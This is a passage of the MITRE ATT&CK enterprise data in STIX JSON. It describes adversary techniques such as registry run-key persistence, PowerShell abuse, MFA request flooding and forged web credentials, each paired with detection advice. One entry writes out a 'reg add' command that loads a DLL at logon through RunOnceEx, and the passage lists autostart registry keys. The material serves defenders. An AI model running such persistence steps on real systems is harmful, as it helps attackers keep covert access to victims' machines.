ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Process: Process Metadata"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_defense_bypassed":["Heuristic Detection","Host Forensic Analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","type":"attack-pattern","created":"2020-10-02T16:27:02.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591","url":"https://attack.mitre.org/techniques/T1591"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."},{"source_name":"SEC EDGAR Search","url":"https://www.sec.gov/edgar/search-and-access","description":"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}],"modified":"2021-08-27T15:37:09.343Z","name":"Gather Victim Org Information","description":"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc","type":"attack-pattern","created":"2017-05-31T21:30:49.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1060","url":"https://attack.mitre.org/techniques/T1060"},{"external_id":"CAPEC-270","source_name":"capec","url":"https://capec.mitre.org/data/definitions/270.html"},{"url":"http://msdn.microsoft.com/en-us/library/aa376977","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.","source_name":"Microsoft Run Key"},{"url":"https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key","description":"Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.","source_name":"Microsoft RunOnceEx APR 2018"},{"url":"https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/","description":"Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.","source_name":"Oddvar Moe RunOnceEx Mar 2018"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-23T22:05:32.409Z","name":"Registry Run Keys / Startup Folder","description":"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["HKEY_LOCAL_MACHINE keys require administrator access to create and modify"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:58:23.638Z","name":"Forge Web Credentials","description":"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Dylan Silva, AWS Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["SaaS","Windows","macOS","Linux","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.5","x_mitre_data_sources":["Web Credential: Web Credential Usage","Web Credential: Web Credential Creation","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","created":"2020-12-17T02:13:46.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1606","external_id":"T1606"},{"source_name":"AWS Temporary Security Credentials","description":"AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"},{"source_name":"GitHub AWS-ADFS-Credential-Generator","description":"Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.","url":"https://github.com/pvanbuijtene/aws-adfs-credential-generator"},{"source_name":"Microsoft SolarWinds Customer Guidance","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Pass The Cookie","description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html"},{"source_name":"Zimbra Preauth","description":"Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.","url":"https://wiki.zimbra.com/wiki/Preauth"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Multi-Factor Authentication Request Generation","description":"Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Jon Sternstein, Stern Security","Pawel Partyka, Microsoft 365 Defender","Shanief Webb","Obsidian Security","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Linux","macOS","IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.2","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Metadata","Application Log: Application Log Content","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","created":"2022-04-01T02:15:49.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1621","external_id":"T1621"},{"source_name":"Russian 2FA Push Annoyance - Cimpanu","description":"Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.","url":"https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"},{"source_name":"MFA Fatigue Attacks - PortSwigger","description":"Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.","url":"https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"},{"source_name":"Suspected Russian Activity Targeting Government and Business Entities Around the Globe","description":"Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.","url":"https://www.mandiant.com/resources/russian-targeting-gov-business"},{"source_name":"Obsidian SSPR Abuse 2023","description":"Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.","url":"https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-12T16:52:46.067Z","name":"Compromise Host Software Binary","description":"Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["CrowdStrike Falcon OverWatch","Liran Ravich, CardinalOps","Jamie Williams (U ω U), PANW Unit 42"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["File: File Deletion","File: File Modification","File: File Metadata","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","created":"2020-02-11T18:18:34.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1554","external_id":"T1554"},{"source_name":"Google Cloud Mandiant UNC3886 2024","description":" Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"},{"source_name":"Unit42 Banking Trojans Hooking 2022","description":"Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.","url":"https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"},{"source_name":"ESET FontOnLake Analysis 2021","description":"Vladislav Hrčka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.","url":"https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Chat Messages","description":"Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Douglas Weir"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","Office Suite"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","created":"2023-03-14T14:38:03.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/008","external_id":"T1552.008"},{"source_name":"Slack Security Risks","description":"Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.","url":"https://www.nightfall.ai/blog/saas-slack-security-risks-2020"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T16:39:13.228Z","name":"PowerShell","description":"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Mayuresh Dani, Qualys","Praetorian","Ross Brittain"],"x_mitre_deprecated":false,"x_mitre_detection":"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Script: Script Execution","Process: Process Creation","Process: Process Metadata","Command: Command Execution","Module: Module Load"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","created":"2020-03-09T13:48:55.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/001","external_id":"T1059.001"},{"source_name":"Microsoft PSfromCsharp APR 2014","description":"Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.","url":"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"},{"source_name":"SilentBreak Offensive PS Dec 2015","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.","url":"https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"},{"source_name":"FireEye PowerShell Logging 2016","description":"Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.","url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"},{"source_name":"Github PSAttack","description":"Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.","url":"https://github.com/Exploit-install/PSAttack-1"},{"source_name":"inv_ps_attacks","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"},{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"},{"source_name":"TechNet PowerShell","description":"Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.","url":"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"},{"source_name":"Sixdub PowerPick Jan 2016","description":"Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.","url":"https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810","type":"attack-pattern","created":"2017-05-31T21:30:30.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1023","external_id":"T1023"},{"external_id":"CAPEC-132","source_name":"capec","url":"https://capec.mitre.org/data/definitions/132.html"}],"modified":"2020-01-24T19:36:41.805Z","name":"Shortcut Modification","description":"Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T15:27:11.065Z","name":"Change Default File Association","description":"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or 